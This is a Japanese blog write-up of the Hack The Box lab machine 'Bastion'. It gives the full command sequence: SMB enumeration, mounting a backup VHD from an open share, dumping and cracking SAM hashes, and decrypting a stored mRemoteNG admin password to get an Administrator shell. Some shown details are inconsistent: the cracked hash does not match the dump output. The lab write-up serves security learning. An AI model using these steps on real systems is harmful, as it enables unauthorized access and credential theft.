「Hack The Box」という、ペネトレーションテストの学習プラットフォームを利用してセキュリティについて学んでいます。 「Hack The Box」のランクは、本記事執筆時点でProHackerです。
今回は、HackTheBoxのリタイアマシン「Bastion」のWriteUpです。
本記事について
本記事の内容は社会秩序に反する行為を推奨することを目的としたものではございません。
自身の所有する環境、もしくは許可された環境以外への攻撃の試行は、「不正アクセス行為の禁止等に関する法律(不正アクセス禁止法)」に違反する可能性があること、予めご留意ください。
またすべての発言は所属団体ではなく個人に帰属します。
もくじ
探索
まずはいつも通り安定のポートスキャンから実施します。
# ターゲットマシンのIPをHOSTSに追加して高速スキャン
$ sudo sed -i 's/^[0-9].*$RHOST/10.10.10.134 $RHOST/g' /etc/hosts
$ nmap -sV -sC -Pn -T4 $RHOST| tee nmap1.txt
# All ports
$ nmap -p- $RHOST -Pn -sC -sV -A | tee nmap_max.txt
結構いろいろ開いているようです。
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH for_Windows_7.9 (protocol 2.0)
| ssh-hostkey:
| 2048 3a:56:ae:75:3c:78:0e:c8:56:4d:cb:1c:22:bf:45:8a (RSA)
| 256 cc:2e:56:ab:19:97:d5:bb:03:fb:82:cd:63:da:68:01 (ECDSA)
|_ 256 93:5f:5d:aa:ca:9f:53:e7:f2:82:e6:64:a8:a3:a0:18 (ED25519)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled but not required
| smb2-time:
| date: 2022-08-14T07:08:23
|_ start_date: 2022-08-14T07:05:13
| smb-os-discovery:
| OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
| Computer name: Bastion
| NetBIOS computer name: BASTION\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2022-08-14T09:08:24+02:00
|_clock-skew: mean: -39m57s, deviation: 1h09m13s, median: 0s
とりあえずSMBの探索から始めてみます。
$ enum4linux $RHOST
> 特に何も見つからず
$ crackmapexec smb $RHOST
SMB 10.10.10.134 445 BASTION [*] Windows Server 2016 Standard 14393 x64 (name:BASTION) (domain:Bastion) (signing:False) (SMBv1:True)
$ smbmap -H $RHOST -d WORKGROUP -u guest
smbmapの結果は以下の画像のようになりました。
smb2-security-mode
が3.1.1だったのでSMBGostが使えるかと思いましたが、エクスプロイトはうまく動作しませんでした。
探索を続けたところ、NT LM 0.12 (SMBv1)
が動作していました。
$ nmap -p139,445 --script smb-protocols 10.10.10.134
PORT STATE SERVICE
139/tcp open netbios-ssn
445/tcp open microsoft-ds
Host script results:
| smb-protocols:
| dialects:
| NT LM 0.12 (SMBv1) [dangerous, but default]
| 2.0.2
| 2.1
| 3.0
| 3.0.2
|_ 3.1.1
EternalBlueが刺さるかと思い試しましたが、SMB SessionErrorが出力され、どうやら動作しないようでした。
impacket.smb.SessionError: SMB SessionError: STATUS_ACCESS_DENIED({Access Denied} A process has requested access to an object but has not been granted those access rights.)
ここでもう一度探索した情報を見直したところ、デフォルトの共有のほかに、Backupsという共有が存在することに気づきました。
そこで、以下のようにsmbclientで接続したところ、共有されているファイルを参照できました。
$ smbclient -N \\\\10.10.10.134\\Backups
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Sun Aug 14 01:34:58 2022
.. D 0 Sun Aug 14 01:34:58 2022
GYGJLRPNZM D 0 Sun Aug 14 00:16:02 2022
NAZTUYVCIR D 0 Sun Aug 14 01:34:58 2022
note.txt AR 116 Tue Apr 16 03:10:09 2019
OYSNDCHGMR D 0 Sun Aug 14 01:34:34 2022
SDT65CB.tmp A 0 Fri Feb 22 04:43:08 2019
WindowsImageBackup Dn 0 Fri Feb 22 04:44:02 2019
5638911 blocks of size 4096. 1175622 blocks available
ここでWindowsImageBackupからフォルダをたどると、マシンのバックアップとみられるvhdファイルが見つかりました。
ただし、デフォルトのタイムアウトが20に設定されており、サイズの大きなvhdファイルはダウンロードができなかったため、以下のコマンドでタイムアウトを十分に大きくすることでvhdファイルをダウンロードすることができました。
> timeout 200000
vhdファイルの解析
大きい方のvhdをダウンロードするのに数時間かかっているのですが、想定解としてはファイルのダウンロードではなくリモートマウントのようです。
qemuを使うことで、LinuxからSMB経由でディスクをマウントすることができます。
参考:How to mount a VirtualBox VDI image | Be the signal
mkdir /mnt/L4mpje-PC
mkdir /mnt/vhd
modprobe nbd
mount -t cifs //10.10.10.134/Backups/WindowsImageBackup/L4mpje-PC /mnt/L4mpje-PC/
qemu-nbd -r -c /dev/nbd0 "/mnt/L4mpje-PC/Backup 2019-02-22 124351/9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd"
mount -r /dev/nbd0p1 /mnt/vhd
ここで参照したvhdを探索し、NTLMハッシュを取得しました。
さらにそのハッシュをhashcatで解析することで、Userのパスワードが取得できました。
$ docker run --net host --rm -it -v `pwd`:/root impacket
$ ./secretsdump.py -sam SAM -system SYSTEM
secretsdump.py -sam SAM -system SYSTEM LOCAL
[*] Target system bootKey: 0x8b56b2cb5033d8e2e289c26f8939a25f
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
# Crack(NTLM is 31d6cfe0d16ae931b73c59d7e0c089c0)
$ hashcat -a 0 -m 1000 ./ntlm /usr/share/wordlists/rockyou.txt
26112010952d963c8dc4217daec986d9:bureaulampje
権限昇格
とりあえず脆弱性探索をしようと思いsysteminfoをかけたところ、権限が無いようでした。
$ C:\Users\L4mpje>systeminfo
ERROR: Access denied
探索を進めたところmremotengというアプリケーションのコンフィグファイルの中にAdminのRDPパスワードが埋まっていることを確認しました。
<?xml version="1.0" encoding="utf-8"?>
<mrng:Connections xmlns:mrng="http://mremoteng.org" Name="Connections" Export="false" EncryptionEngine="AES" BlockCipherMode="GC
M" KdfIterations="1000" FullFileEncryption="false" Protected="ZSvKI7j224Gf/twXpaP5G2QFZMLr1iO1f5JKdtIKL6eUg+eWkL5tKO886au0ofFPW0
oop8R8ddXKAx4KK7sAk6AA" ConfVersion="2.6">
<Node Name="DC" Type="Connection" Descr="" Icon="mRemoteNG" Panel="General" Id="500e7d58-662a-44d4-aff0-3a4f547a3fee" Userna me="Administrator" Domain="" Password="aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/zO5xDqE4HdVmHAowVRdC7emf7lWWA10dQKiw==" Hostname="127.0.0.1" Protocol="RDP" PuttySession="Default Settings" Port="3389" ConnectToConsole="false" UseCredSsp="true" Rend eringEngine="IE" ICAEncryptionStrength="EncrBasic"
</mrng:Connections>
このパスワードは暗号化された上でBase64エンコードされていますが、以下のスクリプトで復号することが可能です。
参考:mremoteng-decrypt/mremoteng_decrypt.py at master · kmahyyg/mremoteng-decrypt · GitHub
このパスワードを使ってSSH接続を行うことで、Administrator権限のシェルを取得できました。